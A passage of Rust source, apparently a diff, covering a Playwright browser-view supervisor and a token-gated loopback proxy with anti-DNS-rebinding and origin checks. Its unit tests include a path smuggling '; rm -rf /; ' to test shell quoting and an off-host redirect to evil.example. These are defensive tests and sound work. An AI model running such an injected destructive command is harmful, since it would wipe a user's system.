 #[allow(clippy::too_many_arguments)]
 async fn supervise(
    project_id: String,
    container_id: String,
    cli_entry: String,
    container_port: u16,
    epoch: u64,
    app: AppHandle,
    store: Arc<ProjectsStore>,
    sessions: SessionMap,
    mut cancel: watch::Receiver<bool>,
    mut proxy: BrowserViewProxy,
 ) {
    let mut ticks: u32 = 0;
    loop {
        if store.get(&project_id).is_none() {
            log::info!("Browser view: project {} is gone — tearing down", project_id);
            break;
        }
        if !is_container_running(&container_id).await.unwrap_or(false) {
            log::info!(
                "Browser view: container for project {} is no longer running — tearing down",
                project_id
            );
            break;
        }
        // The dashboard is a detached daemon, so there is no process handle to
        // watch: liveness has to be an actual request. That costs an exec, so
        // it runs at a coarser cadence than the two cheap checks above.
        ticks = ticks.wrapping_add(1);
        if ticks % LIVENESS_EVERY == 0 {
            // Cancellation races the probe, not just the sleep, so stopping the
            // view never waits out an in-flight exec.
            let alive = tokio::select! {
                _ = cancel.changed() => break,
                res = probe_entry_path(&container_id, container_port) => res.is_ok(),
            };
            if !alive {
                log::warn!(
                    "Browser view: the viewer for project {} stopped answering — tearing down",
                    project_id
                );
                break;
            }
        }
        tokio::select! {
            _ = cancel.changed() => break,
            _ = tokio::time::sleep(SUPERVISE_INTERVAL) => {}
        }
    }
    proxy.shutdown().await;
    let _ = kill_dashboard(&container_id, &cli_entry).await;
    // Deregister, unless a newer session has already taken this project's slot.
    {
        let mut map = sessions.lock().await;
        if map.get(&project_id).is_some_and(|s| s.epoch == epoch) {
            map.remove(&project_id);
        }
    }
    let enabled = manager().is_enabled(&project_id).await;
    emit(&app, &project_id, &BrowserViewStatus::off(enabled));
 }
 // ─────────────────────────────────────────────────────────────────────────────
 // The viewer process
 // ─────────────────────────────────────────────────────────────────────────────
 /// Where the detached viewer's own output goes, so a failed start still has
 /// something to show the user.
 const VIEWER_LOG: &str = "/tmp/triple-c-browser-view.log";
 /// Start `playwright-cli show`, detached.
 ///
 /// `playwright-cli show` is a *launcher*: verified that it spawns
 /// `playwright-core/lib/entry/dashboardApp.js`, which reparents to PID 1 and
 /// outlives both the launcher and the exec that started it. So there is no
 /// point tying a process lifetime to the exec's stdin — signalling the launcher
 /// leaves the dashboard bound to its port and still serving. Teardown is
 /// [`kill_dashboard`], which is the only thing verified to actually stop it.
 ///
 /// Consequently this is a fire-and-forget exec: the launcher's output is
 /// redirected to [`VIEWER_LOG`] (both so `exec_oneshot` can return immediately
 /// rather than waiting on an inherited stdout, and so a failure has a trail),
 /// and readiness is established by [`wait_until_ready`] instead.
 async fn launch_viewer(container_id: &str, cli_entry: &str, port: u16) -> Result<(), String> {
    // `NO_UPDATE_NOTIFIER` stops the CLI phoning registry.npmjs.org on every
    // launch; the container may have no egress, and we don't want to wait out a
    // DNS timeout before the dashboard binds.
    let script = format!(
        "{}; NO_UPDATE_NOTIFIER=1 nohup node {} show --host 127.0.0.1 --port {} >{} 2>&1 &",
        WORKDIR_PREFIX,
        shell_quote(cli_entry),
        port,
        VIEWER_LOG
    );
    exec_oneshot(
        container_id,
        vec!["sh".to_string(), "-c".to_string(), script],
    )
    .await
    .map(|_| ())
    .map_err(|e| format!("Could not start the Playwright viewer: {}", e))
 }
 /// The dashboard singleton is keyed on a hash of the working directory, so
 /// `show` and `show --kill` must agree on one. `exec_oneshot` doesn't set a
 /// working directory (it inherits the image's), and `/workspace` is both what
 /// the image sets today and where Claude actually runs — but pinning it here
 /// means a change to the image can't silently split the two into different
 /// singletons, leaving a dashboard nothing can kill.
 const WORKDIR_PREFIX: &str = "cd /workspace 2>/dev/null || true";
 /// Stop the dashboard daemon. Verified to free the port and stop answering.
 async fn kill_dashboard(container_id: &str, cli_entry: &str) -> Result<String, String> {
    let script = format!(
        "{}; NO_UPDATE_NOTIFIER=1 node {} show --kill",
        WORKDIR_PREFIX,
        shell_quote(cli_entry)
    );
    exec_oneshot(
        container_id,
        vec!["sh".to_string(), "-c".to_string(), script],
    )
    .await
 }
 /// Turn a failed start into something the user can act on.
 ///
 /// The one failure worth naming is the singleton clash: if a dashboard we
 /// couldn't reclaim is still alive, the launcher exits 0 having printed
 /// "Dashboard is running pid=…" and having silently ignored the port we asked
 /// for, so all the caller sees is a port that never answers.
 fn explain_start_failure(err: &str, log: &str) -> String {
    let log = log.trim();
    if log.contains("Dashboard is running") {
        return format!(
            "Another Playwright dashboard is already running in this container and would not \
             give up its port. Stop it from a terminal in the container with \
             `npx playwright-cli show --kill`, then try again.\n\nViewer output:\n{}",
            log
        );
    }
    if log.is_empty() {
        err.to_string()
    } else {
        format!("{}\n\nViewer output:\n{}", err, log)
    }
 }
 /// Tail of the viewer's own output, for a start that didn't come up.
 async fn read_viewer_log(container_id: &str) -> String {
    exec_oneshot(
        container_id,
        vec!["tail".to_string(), "-n".to_string(), "40".to_string(), VIEWER_LOG.to_string()],
    )
    .await
    .unwrap_or_default()
 }
 // ─────────────────────────────────────────────────────────────────────────────
 // Readiness, ports, URLs
 // ─────────────────────────────────────────────────────────────────────────────
 /// First port in [`VIEWER_PORTS`] that nothing in the container is listening on.
 async fn pick_viewer_port(container_id: &str) -> Result<u16, String> {
    let text = exec_oneshot(
        container_id,
        vec![
            "cat".to_string(),
            "/proc/net/tcp".to_string(),
            "/proc/net/tcp6".to_string(),
        ],
    )
    .await
    .unwrap_or_default();
    let taken = proc_net::parse_loopback_listeners(&text);
    VIEWER_PORTS
        .clone()
        .find(|p| !taken.contains_key(p))
        .ok_or_else(|| {
            format!(
                "No free port in {}–{} inside the container for the Playwright viewer.",
                VIEWER_PORTS.start(),
                VIEWER_PORTS.end()
            )
        })
 }
 /// Poll the viewer until it answers, and return the path the pane should load.
 async fn wait_until_ready(container_id: &str, port: u16) -> Result<String, String> {
    let deadline = tokio::time::Instant::now() + READY_TIMEOUT;
    loop {
        let last = match probe_entry_path(container_id, port).await {
            Ok(path) => return Ok(path),
            Err(e) => e,
        };
        if tokio::time::Instant::now() >= deadline {
            return Err(format!(
                "The Playwright viewer did not start listening on container port {} within {}s ({}).",
                port,
                READY_TIMEOUT.as_secs(),
                last
            ));
        }
        tokio::time::sleep(READY_POLL).await;
    }
 }
 const PROBE_MARKER: &str = "__TRIPLE_C_BV_PATH__";
 /// Ask the viewer, from inside the container, what it wants to be loaded as.
 ///
 /// `GET /` answers `302 Location: /index.html?ws=<guid>`, where the guid is the
 /// dashboard's own per-run capability for its WebSocket. Resolving that here and
 /// pointing the iframe straight at the final URL means the pane never traverses
 /// a redirect — which matters, because a redirect drops the `?token=` the proxy
 /// gate wants and would leave a fresh connection to be authorised with nothing.
 /// A `200` (no redirect) is fine too; then the entry point is just `/`.
 async fn probe_entry_path(container_id: &str, port: u16) -> Result<String, String> {
    // The request is bounded on both sides. Verified: the dashboard answers a
    // bad WebSocket path by holding the socket open forever rather than
    // erroring, so "no reply" is a state this probe has to be able to leave —
    // otherwise a wedged daemon would wedge the supervisor, and `stop()` waits
    // on the supervisor.
    let script = format!(
        r#"const q=require("http").get({{host:"127.0.0.1",port:{},path:"/",headers:{{host:"127.0.0.1:{}"}}}},r=>{{process.stdout.write("\n{}"+r.statusCode+" "+(r.headers.location||"/")+"\n");r.resume();process.exit(0);}});q.on("error",e=>{{process.stderr.write(String(e.message));process.exit(1);}});q.setTimeout({},()=>{{process.stderr.write("timed out waiting for the viewer");q.destroy();process.exit(1);}});"#,
        port,
        port,
        PROBE_MARKER,
        PROBE_TIMEOUT.as_millis()
    );
    let out = tokio::time::timeout(
        PROBE_TIMEOUT * 2,
        exec_oneshot(
            container_id,
            vec!["node".to_string(), "-e".to_string(), script],
        ),
    )
    .await
    .map_err(|_| "the viewer probe did not return".to_string())??;
    parse_entry_probe(&out)
 }
 /// Turn the readiness probe's output into the path to load.
 fn parse_entry_probe(out: &str) -> Result<String, String> {
    let Some(idx) = out.find(PROBE_MARKER) else {
        let trimmed = out.trim();
        return Err(if trimmed.is_empty() {
            "no response".to_string()
        } else {
            trimmed.lines().next_back().unwrap_or(trimmed).to_string()
        });
    };
    let line = out[idx + PROBE_MARKER.len()..]
        .lines()
        .next()
        .unwrap_or("")
        .trim();
    let (status, location) = line.split_once(' ').unwrap_or((line, "/"));
    match status {
        "301" | "302" | "303" | "307" | "308" => {
            // Only same-origin, absolute paths — the dashboard never sends
            // anything else, and following an off-host redirect through the
            // pane would be a nasty surprise.
            if location.starts_with('/') {
                Ok(location.to_string())
            } else {
                Ok("/".to_string())
            }
        }
        "200" => Ok("/".to_string()),
        other => Err(format!("viewer answered HTTP {}", other)),
    }
 }
 /// The pane's iframe URL: the viewer's own entry path with our session token
 /// appended, on the host loopback port the gate is listening on.
 fn build_url(host_port: u16, entry_path: &str, token: &str) -> String {
    let sep = if entry_path.contains('?') { '&' } else { '?' };
    format!(
        "http://127.0.0.1:{}{}{}token={}",
        host_port, entry_path, sep, token
    )
 }
 /// Single-quote a path for `sh -c`. Paths from `require.resolve` never contain
 /// quotes in practice, but this is a shell command line and the cost of being
 /// sure is one line.
 fn shell_quote(s: &str) -> String {
    format!("'{}'", s.replace('\'', r"'\''"))
 }
 /// 256 bits of URL-safe randomness, matching `web_terminal`'s token shape.
 fn generate_token() -> String {
    use base64::Engine;
    use rand::Rng;
    let mut rng = rand::rng();
    let bytes: Vec<u8> = (0..32).map(|_| rng.random::<u8>()).collect();
    base64::engine::general_purpose::URL_SAFE_NO_PAD.encode(&bytes)
 }
 fn emit(app: &AppHandle, project_id: &str, status: &BrowserViewStatus) {
    let _ = app.emit(
        BROWSER_VIEW_EVENT,
        serde_json::json!({ "project_id": project_id, "status": status }),
    );
 }
 #[cfg(test)]
 mod tests {
    use super::*;
    #[test]
    fn a_redirect_becomes_the_entry_path() {
        let out = format!("\n{}302 /index.html?ws=abc123\n", PROBE_MARKER);
        assert_eq!(parse_entry_probe(&out).unwrap(), "/index.html?ws=abc123");
    }
    #[test]
    fn a_plain_200_entry_point_is_the_root() {
        let out = format!("\n{}200 /\n", PROBE_MARKER);
        assert_eq!(parse_entry_probe(&out).unwrap(), "/");
    }
    #[test]
    fn an_off_host_redirect_is_not_followed() {
        let out = format!("\n{}302 https://evil.example/\n", PROBE_MARKER);
        assert_eq!(parse_entry_probe(&out).unwrap(), "/");
    }
    #[test]
    fn a_refused_connection_is_an_error_the_poller_can_retry() {
        // Verified shape: node writes this to stderr with no trailing newline.
        let err = parse_entry_probe("connect ECONNREFUSED 127.0.0.1:39321").unwrap_err();
        assert!(err.contains("ECONNREFUSED"), "{}", err);
        assert_eq!(parse_entry_probe("").unwrap_err(), "no response");
        assert!(parse_entry_probe("timed out waiting for the viewer")
            .unwrap_err()
            .contains("timed out"));
    }
    #[test]
    fn an_unexpected_status_is_surfaced_rather_than_loaded() {
        let out = format!("\n{}500 /\n", PROBE_MARKER);
        assert!(parse_entry_probe(&out).unwrap_err().contains("500"));
    }
    #[test]
    fn the_pane_url_is_loopback_and_carries_the_token() {
        let url = build_url(47820, "/index.html?ws=abc", "TOKEN");
        assert_eq!(url, "http://127.0.0.1:47820/index.html?ws=abc&token=TOKEN");
        assert!(url.starts_with("http://127.0.0.1:"));
        // A viewer that doesn't redirect gets a `?`, not a stray `&`.
        assert_eq!(
            build_url(47821, "/", "T"),
            "http://127.0.0.1:47821/?token=T"
        );
    }
    #[test]
    fn tokens_are_unique_and_url_safe() {
        let a = generate_token();
        let b = generate_token();
        assert_ne!(a, b);
        assert_eq!(a.len(), 43); // 32 bytes, base64url, unpadded
        assert!(a.chars().all(|c| c.is_ascii_alphanumeric() || c == '-' || c == '_'));
    }
    #[test]
    fn shell_quoting_survives_a_hostile_path() {
        assert_eq!(shell_quote("/a/b/cli.js"), "'/a/b/cli.js'");
        assert_eq!(
            shell_quote("/a/'; rm -rf /; '"),
            r#"'/a/'\''; rm -rf /; '\'''"#
        );
    }
    #[test]
    fn a_singleton_clash_is_named_rather_than_left_as_a_dead_port() {
        let msg = explain_start_failure(
            "did not start listening on container port 39321 within 30s",
            "Dashboard is running pid=1823\n",
        );
        assert!(msg.contains("show --kill"), "{}", msg);
        assert!(msg.contains("pid=1823"), "{}", msg);
    }
    #[test]
    fn an_ordinary_start_failure_keeps_the_error_and_any_log() {
        assert_eq!(explain_start_failure("boom", "   "), "boom");
        let msg = explain_start_failure("boom", "EADDRINUSE 39321");
        assert!(msg.starts_with("boom"), "{}", msg);
        assert!(msg.contains("EADDRINUSE 39321"), "{}", msg);
    }
    #[test]
    fn the_viewer_port_range_is_bounded() {
        assert_eq!(VIEWER_PORTS.clone().count(), 8);
        // The auth bridge refuses to mirror exactly this range; if they ever
        // drifted apart the pane would gain an ungated second front door.
        assert_eq!(VIEWER_PORTS, crate::auth_bridge::RESERVED_CONTAINER_PORTS);
    }
    #[test]
    fn an_off_status_says_nothing_is_running() {
        let s = BrowserViewStatus::off(true);
        assert!(s.enabled);
        assert_eq!(s.state, BrowserViewState::Off);
        assert!(s.url.is_none());
    }
    #[test]
    fn an_unavailable_status_keeps_the_detail_the_user_needs() {
        let mut d = PlaywrightDetection::default();
        d.node_version = Some("22.11.0".to_string());
        let s = BrowserViewStatus::unavailable(true, d, "install it".to_string());
        assert_eq!(s.state, BrowserViewState::Unavailable);
        assert_eq!(s.message.as_deref(), Some("install it"));
        assert!(s.detection.is_some());
        assert!(s.url.is_none());
    }
 }
@@ -0,0 +1,699 @@
 //! The host-side, token-gated front door for one project's Playwright viewer.
 //!
 //! ## Why this is not `PortForward` on its own
 //!
 //! [`crate::auth_bridge::tunnel::PortForward`] mirrors a container loopback port
 //! onto the *same* host loopback port with **no authentication at all**. That is
 //! the right trade for the auth bridge — the things it exposes are short-lived
 //! OAuth callback listeners whose whole purpose is to receive one unauthenticated
 //! request — but it is the wrong trade here. The Playwright viewer is full mouse
 //! and keyboard control of a browser running inside a container that has
 //! passwordless sudo and, very often, the host's Docker socket bind-mounted. A
 //! bare loopback port is reachable by:
 //!
 //! * any other local user on a multi-user host, and
 //! * **any web page the user happens to have open**, via localhost port scanning
 //!   or DNS rebinding.
 //!
 //! So this module keeps the tunnel half of the auth bridge (a per-connection
 //! `socat` exec through the Docker API — see
 //! [`crate::auth_bridge::tunnel::tunnel_connection_with_prelude`]) and replaces
 //! the listener half with one that authenticates before a single byte reaches
 //! the container. There is therefore exactly **one** host-bound socket per
 //! session, and it is gated.
 //!
 //! ## The gate
 //!
 //! Gating happens on the first HTTP request head of every accepted TCP
 //! connection, before anything is forwarded. To get a connection through you
 //! must satisfy all of:
 //!
 //! 1. `Host` is `127.0.0.1:<port>` or `localhost:<port>` — this is the
 //!    anti-DNS-rebinding check. A page on `evil.com` that rebinds its name to
 //!    127.0.0.1 still sends `Host: evil.com`.
 //! 2. Either
 //!    * the request carries the session token (in `?token=`, in a `Cookie`, or
 //!      in the query of a same-origin `Referer`), **or**
 //!    * `Origin` / `Referer` is exactly this proxy's own origin — i.e. the
 //!      request was issued by a document that we already served, which itself
 //!      had to present the token. This is what lets the viewer's own
 //!      sub-resource and WebSocket requests through: a browser will not let a
 //!      hostile page forge either header, and requests that carry neither (a
 //!      cross-site `<script src>` or a top-level navigation) are rejected.
 //!
 //! Once the first head passes, the rest of the connection is spliced verbatim,
 //! so HTTP/1.1 keep-alive, the WebSocket upgrade and the CDP screencast frames
 //! all pass through untouched and protocol-agnostically. Riding an existing
 //! connection is not an escalation: opening one required the token.
 //!
 //! ## Port allocation and the CSP
 //!
 //! Host ports come from the small fixed range [`PROXY_PORTS`]. That is
 //! deliberate: `tauri.conf.json`'s `frame-src` has to name every origin the pane
 //! may embed, and CSP has no port wildcards short of `http://127.0.0.1:*`.
 //! Allocating from a bounded, known range keeps that directive an exact
 //! enumeration instead of "any localhost port".
 use std::net::{Ipv4Addr, SocketAddr};
 use tokio::io::{AsyncReadExt, AsyncWriteExt};
 use tokio::net::{TcpListener, TcpStream};
 use tokio::task::{JoinHandle, JoinSet};
 use crate::auth_bridge::proc_net::PortFamily;
 use crate::auth_bridge::tunnel::tunnel_connection_with_prelude;
 /// Host loopback ports the pane may be served on, and therefore the exact set of
 /// origins enumerated in the app's `frame-src`. Keep the two in sync: adding a
 /// port here without adding it to `tauri.conf.json` produces a pane that is
 /// silently blocked by CSP.
 pub const PROXY_PORTS: std::ops::RangeInclusive<u16> = 47820..=47827;
 /// Ceiling on the request head we will buffer before deciding. Real heads are
 /// well under 8 KiB; anything larger is either broken or hostile.
 const MAX_HEAD: usize = 32 * 1024;
 /// How long a freshly accepted connection has to produce a complete request
 /// head. Prevents a slowloris from pinning accept-loop tasks.
 const HEAD_TIMEOUT: std::time::Duration = std::time::Duration::from_secs(10);
 const REFUSAL_BODY: &str = concat!(
    "<!doctype html><meta charset=\"utf-8\">",
    "<title>Not available</title>",
    "<p>This Triple-C browser view is only reachable from the app that started it.</p>"
 );
 /// A bound, token-gated host listener in front of one container-side viewer.
 ///
 /// The accept loop owns the [`TcpListener`] and the [`JoinSet`] of live
 /// connections, so aborting the one task handle releases the port *and* tears
 /// down everything under it. [`Drop`] does that as a backstop;
 /// [`BrowserViewProxy::shutdown`] does it deterministically by also awaiting the
 /// aborted task, so the port is provably free before the caller continues.
 pub struct BrowserViewProxy {
    pub port: u16,
    task: JoinHandle<()>,
 }
 impl Drop for BrowserViewProxy {
    fn drop(&mut self) {
        self.task.abort();
    }
 }
 impl BrowserViewProxy {
    /// Take the first free port in [`PROXY_PORTS`] on the host loopback and
    /// start gating connections into `container_id`'s `container_port`.
    pub async fn bind(
        container_id: String,
        container_port: u16,
        family: PortFamily,
        token: String,
    ) -> Result<Self, String> {
        let mut last_err = None;
        for port in PROXY_PORTS {
            // SECURITY BOUNDARY: 127.0.0.1 ONLY, never 0.0.0.0. Unlike
            // `web_terminal`, which binds a wildcard on purpose because remote
            // access *is* its feature, this pane is remote control of a browser
            // in a privileged container and must never leave the host. Do not
            // "fix" a connectivity problem by widening this address.
            match TcpListener::bind(SocketAddr::from((Ipv4Addr::LOCALHOST, port))).await {
                Ok(listener) => {
                    let task = tokio::spawn(accept_loop(
                        listener,
                        container_id,
                        family.socat_target(container_port),
                        container_port,
                        token,
                        self_origins(port),
                        host_authorities(port),
                    ));
                    log::info!("Browser view: proxy listening on 127.0.0.1:{}", port);
                    return Ok(Self { port, task });
                }
                Err(e) => last_err = Some(e),
            }
        }
        Err(format!(
            "No free host port in {}–{} for the browser view proxy ({}). \
             Close another project's browser view and try again.",
            PROXY_PORTS.start(),
            PROXY_PORTS.end(),
            last_err
                .map(|e| e.to_string())
                .unwrap_or_else(|| "range empty".to_string())
        ))
    }
    /// Stop accepting, release the host port and abort every live connection.
    pub async fn shutdown(&mut self) {
        self.task.abort();
        let _ = (&mut self.task).await;
        log::info!("Browser view: proxy on 127.0.0.1:{} released", self.port);
    }
 }
 /// The origins a request may legitimately claim to come from.
 fn self_origins(port: u16) -> Vec<String> {
    vec![
        format!("http://127.0.0.1:{}", port),
        format!("http://localhost:{}", port),
    ]
 }
 /// The `Host` values we will answer to. Anything else is a rebinding attempt.
 fn host_authorities(port: u16) -> Vec<String> {
    vec![
        format!("127.0.0.1:{}", port),
        format!("localhost:{}", port),
    ]
 }
 #[allow(clippy::too_many_arguments)]
 async fn accept_loop(
    listener: TcpListener,
    container_id: String,
    target: String,
    container_port: u16,
    token: String,
    origins: Vec<String>,
    authorities: Vec<String>,
 ) {
    let mut conns: JoinSet<()> = JoinSet::new();
    loop {
        let accepted = tokio::select! {
            r = listener.accept() => r,
            // Reap finished connections so the set can't grow without bound.
            // An empty set yields `None`, the pattern fails, and the branch is
            // simply dropped from the select.
            Some(_) = conns.join_next() => continue,
        };
        match accepted {
            Ok((stream, _peer)) => {
                let _ = stream.set_nodelay(true);
                conns.spawn(serve_connection(
                    stream,
                    container_id.clone(),
                    target.clone(),
                    container_port,
                    token.clone(),
                    origins.clone(),
                    authorities.clone(),
                ));
            }
            Err(e) => {
                log::warn!("Browser view: accept failed: {} — stopping proxy listener", e);
                return;
            }
        }
    }
 }
 #[allow(clippy::too_many_arguments)]
 async fn serve_connection(
    mut stream: TcpStream,
    container_id: String,
    target: String,
    container_port: u16,
    token: String,
    origins: Vec<String>,
    authorities: Vec<String>,
 ) {
    let head = match tokio::time::timeout(HEAD_TIMEOUT, read_head(&mut stream)).await {
        Ok(Ok(head)) => head,
        Ok(Err(e)) => {
            log::debug!("Browser view: dropping connection: {}", e);
            let _ = reject(&mut stream, 400, "Bad Request").await;
            return;
        }
        Err(_) => {
            log::debug!("Browser view: dropping connection: no request head within timeout");
            return;
        }
    };
    let head_text = String::from_utf8_lossy(&head).into_owned();
    let verdict = authorize(&head_text, &token, &origins, &authorities);
    if verdict != Verdict::Allow {
        log::warn!(
            "Browser view: rejected a connection on the proxy for container port {} ({:?})",
            container_port,
            verdict
        );
        let _ = reject(&mut stream, 403, "Forbidden").await;
        return;
    }
    // Authorized: hand the socket to the same socat-over-Docker-exec tunnel the
    // auth bridge uses, replaying the head we had to buffer to make the call.
    tunnel_connection_with_prelude(container_id, target, stream, container_port, head).await;
 }
 /// Read bytes until the end of the HTTP request head (`\r\n\r\n`), or fail.
 async fn read_head(stream: &mut TcpStream) -> Result<Vec<u8>, String> {
    let mut buf = Vec::with_capacity(1024);
    let mut chunk = [0u8; 1024];
    loop {
        let n = stream
            .read(&mut chunk)
            .await
            .map_err(|e| format!("read failed: {}", e))?;
        if n == 0 {
            return Err("connection closed before a request head arrived".to_string());
        }
        buf.extend_from_slice(&chunk[..n]);
        if find_head_end(&buf).is_some() {
            return Ok(buf);
        }
        if buf.len() > MAX_HEAD {
            return Err(format!("request head exceeded {} bytes", MAX_HEAD));
        }
    }
 }
 /// Index just past the blank line terminating the head, if it has arrived.
 /// Tolerates a bare-LF terminator, which some minimal clients still emit.
 fn find_head_end(buf: &[u8]) -> Option<usize> {
    buf.windows(4)
        .position(|w| w == b"\r\n\r\n")
        .map(|i| i + 4)
        .or_else(|| buf.windows(2).position(|w| w == b"\n\n").map(|i| i + 2))
 }
 async fn reject(stream: &mut TcpStream, code: u16, reason: &str) -> std::io::Result<()> {
    let body = REFUSAL_BODY;
    let response = format!(
        "HTTP/1.1 {} {}\r\n\
         Content-Type: text/html; charset=utf-8\r\n\
         Content-Length: {}\r\n\
         Cache-Control: no-store\r\n\
         Connection: close\r\n\r\n{}",
        code,
        reason,
        body.len(),
        body
    );
    stream.write_all(response.as_bytes()).await?;
    stream.shutdown().await
 }
 // ─────────────────────────────────────────────────────────────────────────────
 // The gate itself — pure, so it can be tested without sockets
 // ─────────────────────────────────────────────────────────────────────────────
 #[derive(Debug, Clone, Copy, PartialEq, Eq)]
 pub(crate) enum Verdict {
    Allow,
    /// No request line, or one we can't parse.
    Malformed,
    /// `Host` is not one of ours — a rebinding attempt, or a stray client.
    BadHost,
    /// Well-formed and addressed to us, but presented no token and no proof of
    /// having come from a document we served.
    Unauthenticated,
 }
 /// Decide whether the connection whose first request head this is may be
 /// spliced into the container. See the module docs for the rules.
 pub(crate) fn authorize(
    head: &str,
    token: &str,
    self_origins: &[String],
    host_authorities: &[String],
 ) -> Verdict {
    let mut lines = head.split(['\r', '\n']).filter(|l| !l.is_empty());
    let Some(request_line) = lines.next() else {
        return Verdict::Malformed;
    };
    // "GET /path?query HTTP/1.1"
    let mut parts = request_line.split(' ');
    let (Some(_method), Some(request_target)) = (parts.next(), parts.next()) else {
        return Verdict::Malformed;
    };
    if !request_target.starts_with('/') && !request_target.starts_with("http") {
        // CONNECT and origin-form-violating targets are not something the
        // viewer ever sends; refuse to be used as a forward proxy.
        return Verdict::Malformed;
    }
    let mut host = None;
    let mut origin = None;
    let mut referer = None;
    let mut cookie = None;
    let mut fetch_site = None;
    for line in lines {
        let Some((name, value)) = line.split_once(':') else {
            continue;
        };
        let value = value.trim();
        match name.trim().to_ascii_lowercase().as_str() {
            "host" => host = Some(value),
            "origin" => origin = Some(value),
            "referer" => referer = Some(value),
            "cookie" => cookie = Some(value),
            "sec-fetch-site" => fetch_site = Some(value),
            _ => {}
        }
    }
    // 1. Anti-rebinding. A hostile page that points its own name at 127.0.0.1
    //    still sends its own name here.
    match host {
        Some(h) if host_authorities.iter().any(|a| a.eq_ignore_ascii_case(h)) => {}
        _ => return Verdict::BadHost,
    }
    // 2a. An explicit token, from the request target, a cookie, or the query of
    //     the referring document's URL (same-origin requests send the full URL,
    //     query included, under the default referrer policy).
    if query_token(request_target).is_some_and(|t| tokens_match(t, token))
        || cookie_token(cookie.unwrap_or("")).is_some_and(|t| tokens_match(t, token))
        || referer.and_then(query_token).is_some_and(|t| tokens_match(t, token))
    {
        return Verdict::Allow;
    }
    // 2b. …or proof that a document we already served issued this request. The
    //     viewer's WebSocket upgrade carries `Origin` and no `Referer`, and
    //     nothing in it is under our control, so this is the clause that makes
    //     the pane work at all. A browser will not let a hostile page forge
    //     either header; a request with neither (cross-site `<script src>`,
    //     top-level navigation, `curl`) falls through and is refused.
    if origin.is_some_and(|o| origin_is_self(o, self_origins))
        || referer.is_some_and(|r| origin_is_self(r, self_origins))
        // Fetch metadata says the same thing as `Origin`, and keeps saying it
        // for the plain sub-resource loads that carry no `Origin` and whose
        // `Referer` a `no-referrer` policy could strip. `Sec-Fetch-Site` is a
        // forbidden header, so page script cannot set it either.
        || fetch_site.is_some_and(|s| s.eq_ignore_ascii_case("same-origin"))
    {
        return Verdict::Allow;
    }
    Verdict::Unauthenticated
 }
 /// The value of a `token` query parameter in a request target or absolute URL.
 fn query_token(target: &str) -> Option<&str> {
    let query = target.split_once('?')?.1;
    // Fragments never reach the wire in a request target, but a `Referer` can
    // legally carry one on some clients.
    let query = query.split('#').next().unwrap_or(query);
    query.split('&').find_map(|pair| {
        let (k, v) = pair.split_once('=')?;
        (k == "token").then_some(v)
    })
 }
 /// The value of our session cookie in a `Cookie` header.
 fn cookie_token(cookie_header: &str) -> Option<&str> {
    cookie_header.split(';').find_map(|pair| {
        let (k, v) = pair.split_once('=')?;
        (k.trim() == COOKIE_NAME).then_some(v.trim())
    })
 }
 /// Name of the cookie the gate will accept a token in. Nothing sets it today —
 /// the pane relies on the query parameter for the document and on `Origin` /
 /// `Referer` for everything under it, because a webview iframe pointed at
 /// 127.0.0.1 is a third-party context and WKWebView and WebKitGTK both drop
 /// third-party cookies by default. It is accepted so that a future first-party
 /// entry point (opening the pane in the user's own browser, say) needs no
 /// change here.
 const COOKIE_NAME: &str = "triple_c_browser_view";
 /// Whether a URL (or bare origin) has exactly one of our own origins.
 fn origin_is_self(value: &str, self_origins: &[String]) -> bool {
    // Compare scheme://host:port only; a Referer carries a path as well.
    let origin = match value.split_once("://") {
        Some((scheme, rest)) => {
            let authority = rest.split(['/', '?', '#']).next().unwrap_or(rest);
            format!("{}://{}", scheme, authority)
        }
        None => value.to_string(),
    };
    self_origins.iter().any(|o| o.eq_ignore_ascii_case(&origin))
 }
 /// Length-independent-ish equality. A timing oracle over a loopback socket is
 /// not a realistic attack, but comparing in constant time costs nothing and
 /// keeps the primitive honest.
 fn tokens_match(candidate: &str, expected: &str) -> bool {
    let a = candidate.as_bytes();
    let b = expected.as_bytes();
    let mut diff = (a.len() ^ b.len()) as u8;
    for i in 0..a.len().max(b.len()) {
        let x = a.get(i).copied().unwrap_or(0);
        let y = b.get(i).copied().unwrap_or(0);
        diff |= x ^ y;
    }
    diff == 0
 }
 #[cfg(test)]
 mod tests {
    use super::*;
    const TOKEN: &str = "s3cr3t-token-value";
    fn origins() -> Vec<String> {
        self_origins(47820)
    }
    fn authorities() -> Vec<String> {
        host_authorities(47820)
    }
    fn head(request_line: &str, headers: &[&str]) -> String {
        let mut s = String::from(request_line);
        s.push_str("\r\n");
        for h in headers {
            s.push_str(h);
            s.push_str("\r\n");
        }
        s.push_str("\r\n");
        s
    }
    fn verdict(request_line: &str, headers: &[&str]) -> Verdict {
        authorize(&head(request_line, headers), TOKEN, &origins(), &authorities())
    }
    #[test]
    fn the_initial_document_is_allowed_by_its_query_token() {
        assert_eq!(
            verdict(
                &format!("GET /?token={} HTTP/1.1", TOKEN),
                &["Host: 127.0.0.1:47820"]
            ),
            Verdict::Allow
        );
    }
    #[test]
    fn a_wrong_token_is_not_enough() {
        assert_eq!(
            verdict("GET /?token=nope HTTP/1.1", &["Host: 127.0.0.1:47820"]),
            Verdict::Unauthenticated
        );
    }
    #[test]
    fn a_subresource_is_allowed_by_the_token_in_its_referer() {
        assert_eq!(
            verdict(
                "GET /assets/app.js HTTP/1.1",
                &[
                    "Host: 127.0.0.1:47820",
                    &format!("Referer: http://127.0.0.1:47820/?token={}", TOKEN),
                ]
            ),
            Verdict::Allow
        );
    }
    #[test]
    fn the_websocket_upgrade_is_allowed_by_its_own_origin() {
        // The viewer's CDP screencast socket carries Origin and no Referer, and
        // its URL is not ours to add a token to.
        assert_eq!(
            verdict(
                "GET /ws HTTP/1.1",
                &[
                    "Host: 127.0.0.1:47820",
                    "Upgrade: websocket",
                    "Connection: Upgrade",
                    "Origin: http://127.0.0.1:47820",
                ]
            ),
            Verdict::Allow
        );
    }
    #[test]
    fn a_subresource_is_allowed_by_fetch_metadata_when_the_referer_is_stripped() {
        assert_eq!(
            verdict(
                "GET /assets/app.js HTTP/1.1",
                &[
                    "Host: 127.0.0.1:47820",
                    "Sec-Fetch-Site: same-origin",
                    "Sec-Fetch-Dest: script",
                ]
            ),
            Verdict::Allow
        );
    }
    #[test]
    fn cross_site_fetch_metadata_is_refused() {
        for site in ["cross-site", "same-site", "none"] {
            assert_eq!(
                verdict(
                    "GET /assets/app.js HTTP/1.1",
                    &["Host: 127.0.0.1:47820", &format!("Sec-Fetch-Site: {}", site)]
                ),
                Verdict::Unauthenticated,
                "Sec-Fetch-Site: {}",
                site
            );
        }
    }
    #[test]
